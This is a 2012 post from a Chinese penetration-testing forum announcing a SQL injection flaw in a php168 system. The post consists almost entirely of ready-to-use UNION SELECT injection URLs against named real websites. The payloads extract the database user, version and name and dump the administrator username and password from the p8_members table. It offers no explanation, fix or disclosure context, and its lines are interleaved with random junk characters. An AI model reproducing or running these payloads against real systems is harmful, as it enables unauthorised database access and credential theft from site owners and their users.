中国网络渗透测试联盟

标题: php168某系统注入漏洞 [打印本页]

作者: admin 时间: 2012-10-18 08:52
标题: php168某系统注入漏洞
http://v7.php168.com/zhidao/user.php?j=question&u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--4 T' u# M+ T* t/ S- C' \0 N/ c
                                                      # n4 @4 n  l/ h# M# `
                                    [attach]94[/attach]% H9 E! p6 l/ T2 b3 S+ k0 g" z1 g6 d

6 Q+ I. B6 {% X1 w! ghttp://www.china-highway.com/zhidao/user.php?%00&j=question&u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--
" f0 w/ C% V4 ]8 E6 ~# t" U' `                                                    3 u* G# g3 C. v6 z* f
                                                               9 ]5 w: t& s- Z7 R' M/ d
                                                      [attach]95[/attach]% ]7 M3 j4 a! _4 X8 A  E7 l; J
http://v7.php168.com/zhidao/user ... u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--+ m1 C% [+ E% \4 p& C* O% j' G2 P6 r3 S, m
& ?( g9 Q& c  ]

& @1 y  u; k; ?4 h8 C+ y9 n5 Q* a
; s* m1 s5 X9 t  L  R3 ~7 Y                                                          [attach]96[/attach]9 \" q& e& K" b5 _5 G& W2 Q% X
: L! l3 Y  Y/ z  B& |
http://www.china-highway.com/zhi ... u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--
! X3 @7 i5 Z+ W8 S" J9 F2 P2 d: r$ R# ^' G4 ]( U/ L* ^
8 [4 ^: g, z0 B3 {: v5 V$ D; Z

7 R: ]" p/ i5 D8 g: \7 R1 H                                                                   [attach]97[/attach]8 C1 l0 c* y' q8 o

欢迎光临中国网络渗透测试联盟 (https://www.cobjon.com/)